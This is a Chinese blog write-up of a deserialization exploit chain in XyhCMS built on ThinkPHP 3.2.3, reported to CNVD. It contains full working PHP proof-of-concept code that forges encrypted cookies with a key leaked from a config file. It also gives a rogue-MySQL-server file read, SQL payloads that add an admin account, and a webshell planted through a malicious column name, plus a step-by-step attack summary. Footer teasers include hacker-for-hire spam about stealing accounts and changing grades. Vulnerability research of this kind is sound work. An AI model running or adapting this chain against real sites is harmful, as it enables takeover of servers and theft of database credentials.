痛失CVE之xyhcms(thinkphp3.2.3)反序列化

访客4年前黑客文章878

前言

2020年5月份的时候看到先知有一篇文章

https://xz.aliyun.com/t/7756

这个漏洞非常非常简单,经典插配置文件getshell,而且使用了<?=phpinfo();?>这种标签风格以应对代码对<?php的过滤。xyhcms后续的修复方案当然是把<?也拉黑,但这种修复方案是非常消极的,我们可以看一眼配置文件。

http://demo.xyhcms.com/App/Runtime/Data/config/site.php

1614563766_603c49b6ce4ee5771bc24.png!small?1614564328230

可以发现这些配置选项都是以序列化形式存储在配置文件当中的,且为php后缀。

以安全的角度来想,既然这些配置信息不是写在php代码中以变量存储(大多数cms比如discuz的做法),就不应该以php后缀存储。否则极易产生插配置文件getshell的漏洞。

即使认真过滤了php标签,也可能产生xss和信息泄露的问题。

如果是以序列化形式存储,那么配置文件不管什么后缀,都不应该被轻易访问到,要么像thinkphp5一样配置文件根本不在web目录中,要么每次建站随机配置文件名称。

最后,这个序列化形式存储在文件中也有待商榷,容易产生反序列化问题。

当然,也可以学大多数cms的另外一个做法,配置信息存在数据库中。

下载源码,搭一搭开始审计xyhcms_v3.6_20201128

http://www.xyhcms.com/xyhcms

之一步,发现反序列化入口

由于注意到配置文件是以反序列化方式存储,所以我优先搜了搜unserialize(

1614563788_603c49cce6e3439b32b95.png!small?1614564350377

此cms使用的thinkphp3.2.3框架,所以下面的不用看了,只看

/App/Common/Common/function.php

发现get_cookie是使用的反序列化

//function get_cookie($name, $key='@^%$y5fbl') {
function get_cookie($name, $key='') {

	if (!isset($_COOKIE[$name])) {
		return null;
	}
	$key=empty($key) ? C('CFG_COOKIE_ENCODE') : $key;

	$value=$_COOKIE[$name];
	$key=md5($key);
	$sc=new \Common\Lib\SysCrypt($key);
	$value=$sc->php_decrypt($value);
	return unserialize($value);
}

$key默认为空,有注释可以固定为【@^%$y5fbl】,为空则使用CFG_COOKIE_ENCODE当key,然后md5加密$key,传入 SysCrypt类当密钥,加密代码见/App/Common/Lib/SysCrypt.class.php。 $value是COOKIE中参数为$name对应的值,用SysCrypt类的php_decrypt *** 解密,解密之后是一个序列化字符串,可以被反序列化。

但这个反序列化的前提是知道key,如果被取消注释了,那么key为【@^%$y5fbl】,如果默认没改,就是CFG_COOKIE_ENCODE。而CFG_COOKIE_ENCODE这个值创建网站时会被随机分配一个,且可以在后台改。

1614563896_603c4a38c89411a98731f.png!small?1614564458202

且在/App/Runtime/Data/config/site.php中被泄露。

1614563915_603c4a4bd1fec110dbb76.png!small?1614564477747

总结一下就是cookie传值,site.php泄露key,这个值先被php_decrypt解密,再进行反序列化,和shiro相似。

那么找到了反序列化入口,而且是极易利用的COOKIE里面。但管理员登录后COOKIE中并没有加密字符串,搜一下get_cookie(,发现是前台注册会员用的。

1614563934_603c4a5e29ef6e926739f.png!small?1614564495501

前台随便注册一个会员,在COOKIE中发现加密字符串,里面任意一个都可以作为序列化入口。

1614564218_603c4b7a1b65bdd3e95e8.png!small?1614564779504

比如nickname=XSIEblowDDRXIVJx *** cHPg5hAWsDbVVoACdcPg%3D%3D就是前台账户sonomon的序列化并加密。这里用接口试一下就明白了。

PS:后面发现使用uid更加通用。

/xyhcms/index.php?s=/Public/loginChk.html

1614564224_603c4b80294c0a8dc7c37.png!small?1614564785547

1614564228_603c4b8429431263d03bc.png!small?1614564789535

这里将get_cookie,set_cookie,SysCrypt相关的代码抄一下并修改好,写处php加解密工具。

<?php

class SysCrypt {

	private $crypt_key;
	public function __construct($crypt_key) {
	  $this -> crypt_key=$crypt_key;
	}
	public function php_encrypt($txt) {
	  srand((double)microtime() * 1000000);
	   $encrypt_key=md5(rand(0,32000));
	   $ctr=0;
	   $tmp='';
	  for($i=0;$i<strlen($txt);$i++) {
	   $ctr=$ctr==strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .=$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
	  }
	  return base64_encode(self::__key($tmp,$this -> crypt_key));
	}
	
	public function php_decrypt($txt) {
	  $txt=self::__key(base64_decode($txt),$this -> crypt_key);
	   $tmp='';
	  for($i=0;$i < strlen($txt); $i++) {
	   $md5=$txt[$i];
	    $tmp .=$txt[++$i] ^ $md5;
	  }
	  return $tmp;
	}
	
	private function __key($txt,$encrypt_key) {
	  $encrypt_key=md5($encrypt_key);
	   $ctr=0;
	   $tmp='';
	  for($i=0; $i < strlen($txt); $i++) {
	   $ctr=$ctr==strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .=$txt[$i] ^ $encrypt_key[$ctr++];
	  }
	  return $tmp;
	}
	
	public function __destruct() {
	  $this -> crypt_key=null;
	}
}

function get_cookie($name, $key='') {
	$key='YzYdQmSE2';
	$key=md5($key);
	$sc=new SysCrypt($key);
	$value=$sc->php_decrypt($name);
	return unserialize($value);
}

function set_cookie($args, $key='') {
	$key='YzYdQmSE2';
	$value=serialize($args);
	$key=md5($key);
	$sc=new SysCrypt($key);
	$value=$sc->php_encrypt($value);
	return $value;
}

$a=set_cookie('luoke','');
echo $a.'<br>';
echo get_cookie($a,'');

得到加密序列化字符串

1614564097_603c4b01da2ac0657ba74.png!small?1614564659262

放到cookie里试一下

1614564104_603c4b08dc1ca2ce2ba22.png!small?1614564666280

完美,接下来就是需要找到反序列化链,我们先随便找个__destruct(修改源码,加个var_dump(1),看能否触发。

/Include/Library/Think/Image/Driver/Imagick.class.php

public function __destruct() {
? var_dump(1);
? empty($this->img) || $this->img->destroy();
? }

写好POC

<?php
namespace Think\Image\Driver;
class Imagick{
}

namespace Common\Lib;
class SysCrypt {

	private $crypt_key;
	public function __construct($crypt_key) {
	 $this -> crypt_key=$crypt_key;
	}
	public function php_encrypt($txt) {
	 srand((double)microtime() * 1000000);
	   $encrypt_key=md5(rand(0,32000));
	   $ctr=0;
	   $tmp='';
	 for($i=0;$i<strlen($txt);$i++) {
	  $ctr=$ctr==strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .=$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
	 }
	 return base64_encode(self::__key($tmp,$this -> crypt_key));
	}
	
	public function php_decrypt($txt) {
	 $txt=self::__key(base64_decode($txt),$this -> crypt_key);
	   $tmp='';
	 for($i=0;$i < strlen($txt); $i++) {
	  $md5=$txt[$i];
	    $tmp .=$txt[++$i] ^ $md5;
	 }
	 return $tmp;
	}
	
	private function __key($txt,$encrypt_key) {
	 $encrypt_key=md5($encrypt_key);
	   $ctr=0;
	   $tmp='';
	 for($i=0; $i < strlen($txt); $i++) {
	  $ctr=$ctr==strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .=$txt[$i] ^ $encrypt_key[$ctr++];
	 }
	 return $tmp;
	}
	
	public function __destruct() {
	 $this -> crypt_key=null;
	}
}

function get_cookie($name, $key='') {
	$key='YzYdQmSE2';
	$key=md5($key);
	$sc=new \Common\Lib\SysCrypt($key);
	$value=$sc->php_decrypt($name);
	return unserialize($value);
}

function set_cookie($args, $key='') {
	$key='YzYdQmSE2';
	$value=serialize($args);
	$key=md5($key);
	$sc=new \Common\Lib\SysCrypt($key);
	$value=$sc->php_encrypt($value);
	return $value;
}

$b=new \Think\Image\Driver\Imagick();
$a=set_cookie($b,'');
echo str_replace('+','%2B',$a);

1614564253_603c4b9d864df7189559c.png!small?1614564814971

如上图,成功以反序列化方式触发__destruct(),后续测试发现也不需要登录。那么万事具备,只差反序列化链,但是众所周知thinkphp5.x都已被审计出反序列化链,thinkphp3.2.3却并不存在反序列化链,9月份时我问某个群里,也都说的没有。

第二步,寻找反序列化链

我自己的找链思路如下,全局找__destruct()就只有一个靠谱的。

/Include/Library/Think/Image/Driver/Imagick.class.php

public function __destruct() {
        empty($this->img) || $this->img->destroy();
    }

$this->img可控,也就是说可以触发任意类的destroy *** ,或者触发__call *** 。__call没有任何靠谱的,反倒是destroy()两个都比较靠谱。

/Include/Library/Think/Session/Driver/Db.class.php

/Include/Library/Think/Session/Driver/Memcache.class.php

Db.class看起来可以SQL注入,而Memcache.class看起来可以执行任意类的delete *** 。但两者的destroy *** 都有个问题,必须要传入一个$sessID参数,而Imagick.class的destroy并不能传参。所以在这儿就断掉了。

当时我在php7环境中测试,这个东西卡死我了,后来有人找出了thinkphp3.2.3的反序列化链,我才明白原来换php5就行了。直骂自己菜,对php版本特性知道的太少了,否则我可能早就审计出thinkphp3.2.3的反序列化链了。

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

<?php
function a($test){
echo 'print '.$test;
phpinfo();
}
a();

这样的代码在php7中无法执行,在php5中虽然会报错,但依旧会执行。

1614564343_603c4bf78e97784818d78.png!small?1614564904912

将环境切换到php5, Db.class由于没有mysql_connect()建立连接,所以无法执行SQL。

public function destroy($sessID) { 
       $hander=is_array($this->hander)?$this->hander[0]:$this->hander;
       mysql_query("DELETE FROM ".$this->sessionTable." WHERE session_id='$sessID'",$hander); 
       if(mysql_affected_rows($hander)) 
           return true; 
       return false; 
   }

只能Memcache.class

public function destroy($sessID) {
		return $this->handle->delete($this->sessionName.$sessID);
	}

$this->handle和$this->sessionName均可控,此时等于可执行任意类的delete *** 。

此时找delete *** ,发现都跟数据库有关,且必须传输数组,由于$this->sessionName.$sessID必定是个字符串,所以得找一个能转数组的。

/Include/Library/Think/Model.class.php

public function delete($options=array()) {
		$pk=$this->getPk();
		if (empty($options) && empty($this->options['where'])) {
			if (!empty($this->data) && isset($this->data[$pk])) {
				return $this->delete($this->data[$pk]);
			} else {
				return false;
			}

getPk()代码简短,直接返回$this->pk。

public function getPk() {
		return $this->pk;
	}

那么$pk,$this->options,$this->data均可控,此时又调用了delete()自己一次,所以等于可以带参数使用delete *** 了。

后面一系列参数都不影响代码执行,最终来到

$result=$this->db->delete($options);

等于利用Model.class作为跳板,可以带参数执行任意类的delete *** 。

/Include/Library/Think/Db/Driver.class.php

public function delete($options=array()) {
        $this->model=$options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table=$this->parseTable($options['table']);
        $sql='DELETE FROM '.$table;
        if(strpos($table,',')){
            if(!empty($options['using'])){
                $sql .=' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .=$this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .=$this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            $sql .=$this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=$this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

此处在拼接$options数组中的SQL语句,最终放在$this->execute *** 中执行。

public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr=$str;
        if(!empty($this->bind)){
            $that=$this;
            $this->queryStr=strtr($this->queryStr,array_map(function($val) use($that){ return '_cf4 .$that->escapeString($val).'_cf5 ; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }

跟进$this->initConnect()

protected function initConnect($master=true) {
        if(!empty($this->config['deploy']))
            $this->_linkID=$this->multiConnect($master);
        else
            if ( !$this->_linkID ) $this->_linkID=$this->connect();
    }

跟进$this->connect()

public function connect($config='',$linkNum=0,$autoConnection=false) {
        if ( !isset($this->linkID[$linkNum]) ) {
            if(empty($config))  $config=$this->config;
            try{
                if(empty($config['dsn'])) {
                    $config['dsn']=$this->parseDsn($config);
                }
                if(version_compare(PHP_VERSION,'5.3.6','<=')){ 
                    $this->options[PDO::ATTR_EMULATE_PREPARES]=false;
                }
                $this->linkID[$linkNum]=new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
            }catch ($e) {
                if($autoConnection){
                    trace($e->getMessage(),'','ERR');
                    return $this->connect($autoConnection,$linkNum);
                }else{
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }

可以发现最终是以PDO建立数据库连接,$config 也就是$this->config可控,等于我们可以连接任意数据库,然后执行SQL语句。

可以参考https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA写出POC。

<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options=array(
        PDO::MYSQL_ATTR_LOCAL_INFILE=> true
    );
    protected $config=array(
    "dsn"=> "mysql:host=localhost;dbname=xyhcms;port=3306",
    "username"=> "root",
    "password"=> "root"
        );
}

namespace Think;
class Model{
    protected $options=array();
    protected $pk;
    protected $data=array();
    protected $db=null;
    public function __construct(){
        $this->db=new \Think\Db\Driver\Mysql();
        $this->options['where']='';
        $this->pk='luoke';
        $this->data[$this->pk]=array(
        "table"=> "xyh_admin_log",
        "where"=> "id=0"
        );
    }
}

namespace Think\Session\Driver;
class Memcache{
    protected $handle;
	public function __construct() {
        $this->handle=new \Think\Model();
	}
}

namespace Think\Image\Driver;
class Imagick{
	private $img;
	public function __construct() {
        $this->img=new \Think\Session\Driver\Memcache();
	}
}

namespace Common\Lib;
class SysCrypt{

	private $crypt_key;
	public function __construct($crypt_key) {
	$this -> crypt_key=$crypt_key;
	}
	public function php_encrypt($txt) {
	srand((double)microtime() * 1000000);
	   $encrypt_key=md5(rand(0,32000));
	   $ctr=0;
	   $tmp='';
	for($i=0;$i<strlen($txt);$i++) {
	 $ctr=$ctr==strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .=$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
	}
	return base64_encode(self::__key($tmp,$this -> crypt_key));
	}
	
	public function php_decrypt($txt) {
	$txt=self::__key(base64_decode($txt),$this -> crypt_key);
	   $tmp='';
	for($i=0;$i < strlen($txt); $i++) {
	 $md5=$txt[$i];
	    $tmp .=$txt[++$i] ^ $md5;
	}
	return $tmp;
	}
	
	private function __key($txt,$encrypt_key) {
	$encrypt_key=md5($encrypt_key);
	   $ctr=0;
	   $tmp='';
	for($i=0; $i < strlen($txt); $i++) {
	 $ctr=$ctr==strlen($encrypt_key) ? 0 : $ctr;
	    $tmp .=$txt[$i] ^ $encrypt_key[$ctr++];
	}
	return $tmp;
	}
	
	public function __destruct() {
	$this -> crypt_key=null;
	}
}

function get_cookie($name, $key='') {
	$key='7q6Gw97sh';
	$key=md5($key);
	$sc=new \Common\Lib\SysCrypt($key);
	$value=$sc->php_decrypt($name);
	return unserialize($value);
}

function set_cookie($args, $key='') {
	$key='7q6Gw97sh';
	$value=serialize($args);
	$key=md5($key);
	$sc=new \Common\Lib\SysCrypt($key);
	$value=$sc->php_encrypt($value);
	return $value;
}

$b=new \Think\Image\Driver\Imagick();
$a=set_cookie($b,'');
echo str_replace('+','%2B',$a);

1614564591_603c4cefa6bbd04293c13.png!small

第三步,反序列化getshell

成功执行SQL语句,但很显然,这几乎是无危害的,因为你得知道别人数据库账户密码,或者填自己服务器的账户密码。文章中提到了利用恶意mysql服务器读取文件。

https://github.com/Gifts/Rogue-MySql-Server

文件读取需要绝对路径,可以猜测,也可以访问如下文件,php报错可能会爆出。

/App/Api/Conf/config.php

/App/Api/Controller/ApiCommonController.class.php

/App/Common/LibTag/Other.class.php

/App/Common/Model/ArcViewModel.class.php

得到绝对路径后,修改python脚本增加filelist为D:\\xampp\\htdocs\\xyhcms\\App\\Common\\Conf\\db.php,修改POC数据库连接地址,成功读取配置文件。

1614564599_603c4cf7e4330cd62b11a.png!small?1614565161343

读取到了本地的数据库之后,POC更换数据库地址,PDO默认支持堆叠,所以可以直接操作数据库。这里简单一点可以新增一个管理员上去。

"where"=> "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"

/xyhai.php?s=/Login/index

test/123456登录

如果需要注数据,可以尝试把数据插在一些无关紧要的地方,比如留言板。

"where"=> "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"

/index.php?s=/Guestbook/index.html

1614564637_603c4d1d7ebc389c5b9d3.png!small

同理,权限足够也可以直接利用outfile或者general_log来getshell。

如果权限不够怎么办呢?使用序列化数据存储为php文件实在非常危险,翻翻缓存文件夹。发现数据库列的信息也以序列化形式存储在php文件当中。

/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

1614564662_603c4d36b1a36abbad96c.png!small?1614565224059

此时我们需要清理一下缓存

1614564669_603c4d3d6f5ad38ddd1a2.png!small?1614565230840

然后反序列化操纵mysql新增一个无关紧要的列名为<script language='php'>phpinfo();</script>

PS:这里不能用问号,暂时不清楚原因。

"where"=> "id=0; alter table xyh_guestbook add column `<script language='php'>phpinfo();</script>` varchar(10);"

最后再访问一下前台的留言板,或者后台的留言本管理,生成缓存文件。

/index.php?s=/Guestbook/index.html

最终getshell

/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

1614564698_603c4d5ac4ecfe3508dc5.png!small?1614565260191

总结

1,要求php5.x版本

2,/App/Runtime/Data/config/site.php泄露CFG_COOKIE_ENCODE

3, *** POC,获得反序列化payload

4,更好开放会员注册,检查/index.php?s=/Home/Public/login.html

然后向/index.php?s=/Public/loginChk.html,/index.php?s=/Home/Member/index.html等需要cookie的接口传递paylaod。Cookie键值为uid,nickname等。

5,访问一些php文件,通过报错获取绝对路径。

6,通过恶意mysql服务器,读取配置文件,获取数据库信息。

7,操作数据库。

8,getshell

这是一个非常冗长而有意思的漏洞利用链。

已上交CNVD-2021-05552

相关文章

和氏璧是什么玉?是和田玉吗

和氏璧是什么玉?是和田玉吗

和氏璧是一块传奇的璞玉。最后和氏璧神秘失踪,关于它的下落众说纷纭。 那么,和氏璧到底是个什么东西,有这么大的魅力? 至此,和氏璧的故事讲完啦!至于和氏璧到底长啥样,由于流失了,也就没人...

解析「产品笔试真题」的答题思路与参考答案

解析「产品笔试真题」的答题思路与参考答案

最近做了一些产品笔试题,这类主观题,不论大厂或是小厂,题目都是相通的,都是考验求职者的产品综合水平,笔者通过思考给出自己的参考答案,也欢迎大家一起来优化答案~ 题目一 北京某超市卖精品芒果,目标消费...

微商第一条朋友圈模板(微商第一条朋友圈模板)

微商第一条朋友圈模板(微商第一条朋友圈模板)

做微商发第一条朋友圈内容可以根据:提炼卖点、文案幽默风趣、通过图片来展示、直接发布一张收款图片的方式来写,详细介绍如下: 1、提炼卖点:微商实际上就是一种产品,只要卖点足够有冲击力,人们就会买帐。而且...

iphone微信上怎么导出语音聊天记录怎么才能找回以前的聊天记录啊

iphone微信上怎么导出语音聊天记录怎么才能找回以前的聊天记录啊夏日必不可少品类 ,怎能缺乏折叠伞 。 提及雨天,很多人表明厌倦,既不可以拍照pose又要举着千篇一律、老气横秋的折叠伞 ,太吃...

黑客模拟器汉化版,找黑客盗取YY号,快毕业了找黑客改成绩

[1][2][3][4][5][6]黑客接单渠道Step 0Webchat 325Level Goalmax-lease-time 7200;承认方针var formData = new FormDa...